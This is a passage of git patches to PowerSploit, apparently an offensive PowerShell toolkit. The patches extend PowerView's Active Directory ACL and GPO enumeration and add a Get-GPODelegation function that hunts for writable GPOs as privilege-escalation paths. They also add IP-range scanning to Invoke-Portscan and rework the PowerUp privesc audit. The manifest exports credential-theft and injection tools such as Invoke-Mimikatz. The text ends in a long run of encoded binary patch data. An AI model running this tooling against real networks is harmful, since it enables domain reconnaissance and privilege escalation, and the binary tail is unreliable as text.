$PrincipalDomain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $True)] + [ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')] + $Right, + + [Parameter(Mandatory = $True, ParameterSetName=’AccessRuleType’)] + [ValidateSet('Allow', 'Deny')] + [String[]] + $AccessControlType, + + [Parameter(Mandatory = $True, ParameterSetName=’AuditRuleType’)] + [ValidateSet('Success', 'Failure')] + [String] + $AuditFlag, + + [Parameter(Mandatory = $False, ParameterSetName=’AccessRuleType’)] + [Parameter(Mandatory = $False, ParameterSetName=’AuditRuleType’)] + [Parameter(Mandatory = $False, ParameterSetName=’ObjectGuidLookup’)] + [Guid] + $ObjectType, + + [ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')] + [String] + $InheritanceType, + + [Guid] + $InheritedObjectType + ) + + Begin { + $PrincipalSearcherArguments = @{ + 'Identity' = $PrincipalIdentity + 'Properties' = 'distinguishedname,objectsid' + } + if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } + if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } + $Principal = Get-DomainObject @PrincipalSearcherArguments + if (-not $Principal) { + throw "Unable to resolve principal: $PrincipalIdentity" + } elseif($Principal.Count -gt 1) { + throw "PrincipalIdentity matches multiple AD objects, but only one is allowed" + } + + $ADRight = 0 + foreach($r in $Right) { + $ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__) + } + $ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight + + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$Principal.objectsid) + } + + Process { + if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') { + + if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType + } + + } else { + + if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) + } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType + } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { + New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType + } + + } + } +} + + function Set-DomainObjectOwner { <# .SYNOPSIS @@ -6910,15 +7234,6 @@ for the domain principal to add for the ACL. Required. Wildcards accepted. Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. -.PARAMETER PrincipalLDAPFilter - -Specifies an LDAP query string that is used to filter for the Active Directory object principal. - -.PARAMETER PrincipalSearchBase - -The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local" -Useful for OU queries. - .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. From 095988269bfaafcb3cb0ab050cc782b98fd582ac Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Fri, 28 Apr 2017 00:56:52 -0400 Subject: [PATCH 255/296] Get-DomainGPO - fixed enumerations of 'enforced' GPOs, and bug fix for nested OUs with similar starting names. --- Recon/PowerView.ps1 | 25 ++++++++++++++++++++----- 1 file changed, 20 insertions(+), 5 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index b40989d4..c6cb5ff5 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -11164,7 +11164,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $ObjectOUs = @() $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { if($_.startswith('OU=')) { - $ObjectDN.SubString($ObjectDN.IndexOf($_)) + $ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) } } Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" @@ -11174,13 +11174,28 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $SearcherArguments.Remove('Properties') $InheritanceDisabled = $False ForEach($ObjectOU in $ObjectOUs) { - if ($InheritanceDisabled) { break } $SearcherArguments['Identity'] = $ObjectOU $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { # extract any GPO links for this particular OU the computer is a part of - $_.gplink.split('][') | ForEach-Object { - if ($_.startswith('LDAP')) { - $_.split(';')[0] + if ($_.gplink) { + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $Parts = $_.split(';') + $GpoDN = $Parts[0] + $Enforced = $Parts[1] + + if ($InheritanceDisabled) { + # if inheritance has already been disabled and this GPO is set as "enforced" + # then add it, otherwise ignore it + if ($Enforced -eq 2) { + $GpoDN + } + } + else { + # inheritance not marked as disabled yet + $GpoDN + } + } } } From 2501e8e912764ef917be36fbe2f5792a6b88eeed Mon Sep 17 00:00:00 2001 From: Itamar Date: Thu, 4 May 2017 16:11:12 +0300 Subject: [PATCH 256/296] Get-GPODelegation Hi, I know you guys mentioned this before, but I've not this implemented. I wrote Get-GPODelegation that finds users with write permissions on Group Policy objects, for a potential privilege escalation path. As requested, moved into dev branch. --- Recon/PowerView.ps1 | 60 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c6cb5ff5..6d17aebc 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -18764,6 +18764,66 @@ Custom PSObject with translated domain API trust result fields. } } +function Get-GPODelegation +{ +<# + .SYNOPSIS + Finds users with write permissions on GPO objects which may allow privilege escalation within the domain. + + Author: Itamar Mizrahi (@MrAnde7son) + License: GNU v3 + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + .PARAMETER GPOName + The GPO display name to query for, wildcards accepted. + + .PARAMETER PageSize + + .EXAMPLE + PS C:\> Get-GPODelegation + Returns all GPO delegations in current forest. + + .EXAMPLE + PS C:\> Get-GPODelegation -GPOName + Returns all GPO delegations on a given GPO. +#> + [CmdletBinding()] + Param ( + [String] + $GPOName = '*', + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $Exclusions = @("SYSTEM","Domain Admins","Enterprise Admins") + + $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + $DomainList = @($Forest.Domains) + $Domains = $DomainList | foreach { $_.GetDirectoryEntry() } + foreach ($Domain in $Domains) { + $Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))" + $Searcher = New-Object System.DirectoryServices.DirectorySearcher + $Searcher.SearchRoot = $Domain + $Searcher.Filter = $Filter + $Searcher.PageSize = $PageSize + $Searcher.SearchScope = "Subtree" + $listGPO = $Searcher.FindAll() + foreach ($gpo in $listGPO){ + $ACL = (([ADSI]$gpo.path).ObjectSecurity).Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"} + $GpoACL = New-Object psobject + $GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath + $GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname + $GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference + $GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights + $GpoACL + } + } +} ######################################################## # From 226c1c1cce4ee587495bc6e9db8731a68429ed52 Mon Sep 17 00:00:00 2001 From: Christoph Falta Date: Thu, 4 May 2017 16:08:44 +0200 Subject: [PATCH 257/296] Host parsing extension for IP ranges Small extension of the host parsing function so you can also pass ranges (e.g 172.16.0.1-172.16.2.254) as target --- Recon/Invoke-Portscan.ps1 | 61 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 61 insertions(+) diff --git a/Recon/Invoke-Portscan.ps1 b/Recon/Invoke-Portscan.ps1 index 6f059e25..230da069 100644 --- a/Recon/Invoke-Portscan.ps1 +++ b/Recon/Invoke-Portscan.ps1 @@ -256,6 +256,8 @@ http://webstersprodigy.net [String[]] $iHosts = $Hosts.Split(",") + $IPRangeRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}-\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" + foreach($iHost in $iHosts) { $iHost = $iHost.Replace(" ", "") @@ -309,6 +311,65 @@ http://webstersprodigy.net } + } + + if($iHost -match $IPRangeRegex) + { + + $iHostPart1 = ($iHost.Split("-"))[0] + $iHostPart2 = ($iHost.Split("-"))[1] + + $LowerBound = $iHostPart1.Split(".") + $UpperBound = $iHostPart2.Split(".") + + $LowerBoundInt = ($LowerBound[0].ToInt32($null),$LowerBound[1].ToInt32($null),$LowerBound[2].ToInt32($null),$LowerBound[3].ToInt32($null)) + $UpperBoundInt = ($UpperBound[0].ToInt32($null),$UpperBound[1].ToInt32($null),$UpperBound[2].ToInt32($null),$UpperBound[3].ToInt32($null)) + + $CurrentIP = $LowerBoundInt + $CurrentIPString = $null + $ControlArray = @(0,0,0,0) + + $null = $hostList.Add($iHostPart1) + + while($CurrentIPString -ne $iHostPart2) + { + for($i=0;$i -lt 4;$i++) + { + + if(($CurrentIP[$i] -eq $UpperBoundInt[$i]) -and (($i -eq 0) -or $ControlArray[$i-1] -eq 1)) + { + $ControlArray[$i] = 1 + continue + } + else + { + + $Max = 254 + if(($i -ne 0) -and ($ControlArray[$i-1] -eq 1)) + { + $Max = $UpperBoundInt[$i] + } + + if(($i -ne 3) -and ($CurrentIP[$i+1] -eq 254)) + { + $CurrentIP[$i]++ + $CurrentIP[$i+1]=0 + + $CurrentIPString = ($CurrentIP[0].ToString() + "." + $CurrentIP[1].ToString() + "." + $CurrentIP[2].ToString() + "." + $CurrentIP[3].ToString()) + $null = $hostList.Add($CurrentIPString) + } + + if(($i -eq 3) -and ($CurrentIP[$i] -lt $Max)) + { + $CurrentIP[$i]++ + + $CurrentIPString = ($CurrentIP[0].ToString() + "." + $CurrentIP[1].ToString() + "." + $CurrentIP[2].ToString() + "." + $CurrentIP[3].ToString()) + $null = $hostList.Add($CurrentIPString) + } + } + } + } + } else { From 6a71a6e52622c562a1e9c981052457da359ce6a9 Mon Sep 17 00:00:00 2001 From: Itamar Date: Sun, 7 May 2017 11:21:56 +0300 Subject: [PATCH 258/296] Update PowerView.ps1 Fixed null access control entry in results. --- Recon/PowerView.ps1 | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 6d17aebc..c50fdfc0 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -18814,13 +18814,15 @@ function Get-GPODelegation $Searcher.SearchScope = "Subtree" $listGPO = $Searcher.FindAll() foreach ($gpo in $listGPO){ - $ACL = (([ADSI]$gpo.path).ObjectSecurity).Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"} - $GpoACL = New-Object psobject - $GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath - $GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname - $GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference - $GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights - $GpoACL + $ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"} + if ($ACL -ne $null){ + $GpoACL = New-Object psobject + $GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath + $GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname + $GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference + $GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights + $GpoACL + } } } } From f9b95c5cf2812ddf7691940b26eac89bce5e03f8 Mon Sep 17 00:00:00 2001 From: James McGinnigle Date: Sun, 7 May 2017 16:32:55 +0100 Subject: [PATCH 259/296] Fix build for import and run of Invoke-PrivescAudit --- PowerSploit.psd1 | 4 ++-- PowerSploit.psm1 | 2 +- Recon/PowerView.ps1 | 10 +++++----- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 065ea684..3b6976f0 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -90,11 +90,11 @@ FunctionsToExport = @( 'Get-RegistryAutoLogon', 'Get-SecurityPackages', 'Get-ServiceDetail', - 'Get-ServiceUnquoted', 'Get-SiteListPassword', 'Get-System', 'Get-TimedScreenshot', 'Get-UnattendedInstallFile', + 'Get-UnquotedService', 'Get-UserEvent', 'Get-UserProperty', 'Get-VaultCredential', @@ -103,7 +103,6 @@ FunctionsToExport = @( 'Install-ServiceBinary', 'Install-SSP', 'Invoke-ACLScanner', - 'Invoke-AllChecks', 'Invoke-CheckLocalAdminAccess', 'Invoke-CredentialInjection', 'Invoke-DllInjection', @@ -114,6 +113,7 @@ FunctionsToExport = @( 'Invoke-Mimikatz', 'Invoke-NinjaCopy', 'Invoke-Portscan', + 'Invoke-PrivescAudit', 'Invoke-ProcessHunter', 'Invoke-ReflectivePEInjection', 'Invoke-ReverseDnsLookup', diff --git a/PowerSploit.psm1 b/PowerSploit.psm1 index 9bc02403..42a91746 100644 --- a/PowerSploit.psm1 +++ b/PowerSploit.psm1 @@ -1 +1 @@ -Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer -and ($_.Name -ne 'Tests') } | % { Import-Module $_.FullName -DisableNameChecking } +Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer -and !('Tests','docs' -contains $_.Name) } | % { Import-Module $_.FullName -DisableNameChecking } diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c6cb5ff5..487ed09c 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6634,19 +6634,19 @@ System.Security.AccessControl.AuthorizationRule [ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')] $Right, - [Parameter(Mandatory = $True, ParameterSetName=’AccessRuleType’)] + [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] [ValidateSet('Allow', 'Deny')] [String[]] $AccessControlType, - [Parameter(Mandatory = $True, ParameterSetName=’AuditRuleType’)] + [Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')] [ValidateSet('Success', 'Failure')] [String] $AuditFlag, - [Parameter(Mandatory = $False, ParameterSetName=’AccessRuleType’)] - [Parameter(Mandatory = $False, ParameterSetName=’AuditRuleType’)] - [Parameter(Mandatory = $False, ParameterSetName=’ObjectGuidLookup’)] + [Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')] + [Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')] + [Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')] [Guid] $ObjectType, From f8d2a3474bf0e0ca7267944ddc04a83a55ee122c Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 8 May 2017 23:44:57 -0400 Subject: [PATCH 260/296] fixed quotes --- Recon/PowerView.ps1 | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c6cb5ff5..487ed09c 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6634,19 +6634,19 @@ System.Security.AccessControl.AuthorizationRule [ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')] $Right, - [Parameter(Mandatory = $True, ParameterSetName=’AccessRuleType’)] + [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] [ValidateSet('Allow', 'Deny')] [String[]] $AccessControlType, - [Parameter(Mandatory = $True, ParameterSetName=’AuditRuleType’)] + [Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')] [ValidateSet('Success', 'Failure')] [String] $AuditFlag, - [Parameter(Mandatory = $False, ParameterSetName=’AccessRuleType’)] - [Parameter(Mandatory = $False, ParameterSetName=’AuditRuleType’)] - [Parameter(Mandatory = $False, ParameterSetName=’ObjectGuidLookup’)] + [Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')] + [Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')] + [Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')] [Guid] $ObjectType, From 52289768a95dae478df1a9bdd97dcfd7e4d02455 Mon Sep 17 00:00:00 2001 From: HackJammer Date: Wed, 10 May 2017 00:31:44 +0100 Subject: [PATCH 261/296] Default Invoke-PrivEscAudit to return objects for parsing --- Privesc/PowerUp.ps1 | 251 ++++++++++++++++++-------------------------- 1 file changed, 102 insertions(+), 149 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 50f8268e..af2d79e8 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -4670,9 +4670,14 @@ Required Dependencies: None Executes all functions that check for various Windows privilege escalation opportunities. +.PARAMETER Format + +String. Format to decide on what is returned from the command, an Object Array, List, or HTML Report. + .PARAMETER HTMLReport -Switch. Write a HTML version of the report to SYSTEM.username.html. +DEPRECATED - Switch. Write a HTML version of the report to SYSTEM.username.html. +Superseded by the Format parameter. .EXAMPLE @@ -4682,25 +4687,26 @@ Runs all escalation checks and outputs a status report for discovered issues. .EXAMPLE -Invoke-PrivescAudit -HTMLReport +Invoke-PrivescAudit -Format HTML Runs all escalation checks and outputs a status report to SYSTEM.username.html detailing any discovered issues. -.OUTPUTS - -System.String #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] - [OutputType('System.String')] [CmdletBinding()] Param( + [ValidateSet('Object','List','HTML')] + [String] + $Format = 'Object', [Switch] $HTMLReport ) - if ($HTMLReport) { + if($HTMLReport){ $Format = 'HTML' } + + if ($Format -eq 'HTML') { $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" $Header = "

    +ZeL!n2tc z)^shb=~{Yd%`L3!T6zQs7ercE+jZqWy=&iqe^D=<;qWYZ5&7+nAA9pGuQ$)~dh;x= zH_!5V^DK{N1V3_b{d;)BVjcX3rGUSeWIf`Mo(0V*_)Wp@fp7Fk{grUKk8p_R;44_$ zuIQyThj<>of@k0%o{5(bznu8x#Fr4iocI#r`x4)ma9{Svl0KI7v7~*$Gnp@VCi4aN zae_RP*vOjn&|oa!$K>C@qE!T-l8>+w*>s-Ed`PB*3il~uz91qHS$Jxt@(}a ze)a?YH@X)@&S1SOd`rCrH@@fKa}GY;lwl5j-IT*ZyoIoZeLv}b(*2|rS}dyyE&kDk zmV&e`8J5voGW>J5WE8C0${5|sxZTRQ-O9M#+MVa0jNR)kmgeiZMZTW48{X66AKud+ z8BY5RqJIbROkohu-3IYoVGz&V2Jzf&d#{4D?Y*>l+k078ZSQ4~{n6Wd`RCqEK6jJP z-Q<(fThPu+>1}OJ>1~mHe@btEq>lT!1b(y`BIEHn9-rg!`A~ODi0bRn!$M}e8spHF616eIDj!FOlMzM&v;zVcwEm|T+ex$U?nO@I9ZeTQ_8qM7C!4A z>h?8uU3eD#9(1tyS9vY|v=p9CPqT))b!C49abszpv9!-v+Gi~7GnV!lOZz-Y{coa9 zH&Lf2X_K3%*ORnM5pz=!=U@@{enp&zMVy;OoSQ{G15n@}NPkw*k5%;JK>D?cz8py3 zKAp~Y{M_?AovuZm=Dz3Y^Z?+8@;sTL(w@w)%zZM$I{L{B4fU^jG9v&5qqFhXz&X^= z+v;!VtwkERpKjoMYUo|yUqe5DXfs44?CZyG8n}=3_0u9g?qz-b0#M-Z%KcR?`Q(yM zF8Sn=PcHf7lFyAC2cpdok?>T`yQ$o#Pwk~ergE=7m2+?^-y@yFxIBk(c@E?9pNvZh z|C6yPaT1pOe=<&Y62FtUo!D*cX+bTkHum(-l{g8@{>GjKs~*E2_>)vwsPkZ+i@r;{ zze}6HOJ6)iUr6{V`a|L*Ec;K}OEtcHy~uMury2$nZC3WE8O9I=qHc*d+T_vn;kuTU3o0uCmr3awEe~X-dJcGQ2=cH44PCB)_ntMyH zK;#yl;h3z#=4@Z?&=XDcfv5B$x1mm-bbNLCz z@k0DA#P34@L{;l|qa@~q@-HLWE@W0PEdY|$0K4ZtxlByirfT}nw zU`?Q*fr6Y4_45?4*@7h z5JH7Wf<{zmO0WzSniH%;g%;Qb{I4B{1+1Wf9|B!elMdBz9xR5N5-dlBXA-PO1-)aO z^H5=Nf}2obd4gw9VSR$lXopU!sXH77HsFUoO%pq*^_#n>^2=Viz@r`{RFbUp{hRTrcI^70&G+ z8ksjFG;;R9xGo`1m`D6E#Gg;RXm{q+?#!j#nMX%3w~khWeZPSprbtAItsJSmxoe-C2`&XHCw0JhnS)a^~bdT<`bBnXIYKWZiWp zYtAoNi+#ab>K-SP!dz7}v{TJ^X|NP~iW8d!`?_XZnGArXRRxVt@1x+%r8$J`a-5gXGhdd#0}3 zGj;84ZSKlF6Z`(I+%uianmU0WZHCBXd``yaWPCnJou8zxPf}0C_fLwoyJFpb8SNUkpdJdt{yNIh3G z{#P^hS2OlkGxk?A_E$6ZN6UJE>+T$`xpTPY&f%InhimQ}uDKhiABZ+XM8bL8i{x=H zlE=MB9`(uNUL=n?jUkUQu}b*Tj<*@^z9b<_Br}X!q3rX5+`BVe~$jEq|IAF+g5U4QAzt&(!Q0n zZzb(pN&D85cPm)y)U(#9XRTAuTBn}1PCaX#de%Dg>2s4@=EC{CtdaT5fw|0y^O*;8 znHNjRZ?BMlDfyR@e<}Hwl7A`rmy&+oHN?<4VDhwmft{Q+}cD;PT; zFn4~y`1yeG^8w@M1IEt>jGsH{$1`a6J6WrqL4TaVTJ_FefykY#RZVVSOy9tm_S1fT z+Rjhg`Dr^pZRe-$=2O@ClzBe&nNNM@Q=j?NXFm0rPklCU4cWl>+Q8ayLvO2p17mCh zV{8LsY(wt?|Fh)(Ecth4jo3L|rFCYF*qJqAXV!?FStE94jo6tr;wt+4Hv0EA`gaw5 zej9zfiauY0|0Vceg8wD>UxNQ7_+NtmCHQZ_e+&Lw@ZW;}7W}v1zXks-_zyB~2bs5n z%-ccc?I81Zka;`Eyd7lTP9}pgW>Cfq%9ueJGbm#QWz3+A8I*A;_EXle4>11=G3I|^5cBXL=HWri!-JTI2Qd#1VjdpE zJiLT?cnSF|=}sM)hnJAw66WD03tUSB%H#0vm zH(8mZSWnaM)9Cjo{XUI;pGLn&>31vst@yX%-->@L{;l}8;(sCj7vg^*{uknZA^sQQ ze&l;{{OngHBNwt{x)SKh?}oebd*O66U6i;U{3mh=_uzL)SW!np;ovG&7PF6EbG&$bfmp+~Zlan-gU()t= zp8QWZ{B(uydB|~Mn;e&X+`pTz z^w-|ngJffzh}~Y<%ea&=ySI-y_S(}2IZ${g2{YU_t?l{NHZ1l0BXgdVIb|K^9P~)% z*bIsJwH?fBmt42ZPjVg1_DZ&EFD^OV%%?rOw&(r|j0MwH_8(8gCFl8P*(LikeI&=3 zZ9$P*eav{XK4zjB-=6*}Hvh^ozsL8VmGAHI-JXrawf#t(IWCfqSxLNv+fy@-f92R@ zAIbY>8Is4Nc}|)BlGBoXC&&L!u?`0d`w@WyL=_)JhSf-rbd}edowNB zx0%+S{r{x6_R8K~`Sxa)Z2uYo{yU`c|Gi&Fr5z;PwmpdY&*wia@Shg=PYe97Y5`f^ zwxS2F)nwqc))@7)TiM038&mhIpk!Lj>_ZYvut$ic*>pH4E#s83GpJM4m-cp+O zKjObVj5@Sa5AiAXX8oiNf*Eh-l_F(KlvBzoWoqv@Gk(``Qr<+FrQ9i8DB3&DjNf%! zBeuf2I2-ri&y3%7oP}}OxV#I4guRA)Rs2Hr%!>nCx0-$-aC<&3pZ} z&j8wnlb_?szIohG_S@Rp+leE}IL1)g-#lK%u6eFX+GlVam}A7;7d7`K&DmYg@kGTP7KQ#@Lf*oL%E%a@VuYL^yejCVvNDKL3|zGkY2@ zW?kBrJ2{^{*+|{wldQ=;%{Y_9KJ-V2<^aM$UaOKa#&`EBnIA zHrh7Mw3oJ#G@~7*E!%|6v^}+tJYh4DJZ0a^+uUz2UB;PdXYPyc$&aKR52hyX8^_DD zGI`F{725euN9rLTQDJYkdrSMh`55g<1&z6q`BU!MjX6~2Ps%8Br!j9PkKeu6B|m#K zpGg|yfx4LE$S61Spv-~BTqyHkqCI4cxBZxH(Vm)pW2)qB-gCEYU$d^#55}_z>S63t z*RE3EJ=E)8JxkD)ZwZrT*4=C$Q@_duL zZ?^T`$|r5Ow|4uj{LT3@IS;d6{!G8-`I6i&Mw>8aNxQVYZkcWTAN@}Y{HF!}SPO7U z?Yi%m{S<4QUC#>okq&!`-_x4C^}PhgTlg(XKz@$`>)>DfEsM-Qdz*VGs__x+pV$}u zBjwp+9{(6DwtI^IBYCvy>piT) z|CRd?xd)MZl0SM6BJ)NvQpY{rS0vlX{_nLl*JN^xxo>LQJd?x8>#OAbKg0Ll>O!%N zkBp5yAqIOJJHMyQ$#qQLmt*B4`AfScuXmI8B~6Yqk>kvK{ww^G-LB7`+Tr(<@sF-! z+xpsDU+pceZF?lQO?&%hW&f-EOMby>RT)&JVO3tGD$00;x0=bjql;8&8LtCUGlHtT zR?VnYyvI^6SCuo(BJ9%U<*(__!fJRC*1#+9D!dMF!QbIs*bE=S$M6|^0mFGU4{zz= zB|XKv@=V^j^|;sc>)~ox1WVv{Xo3aczyCFT6dVKNK&eO$Ule;yk!)T 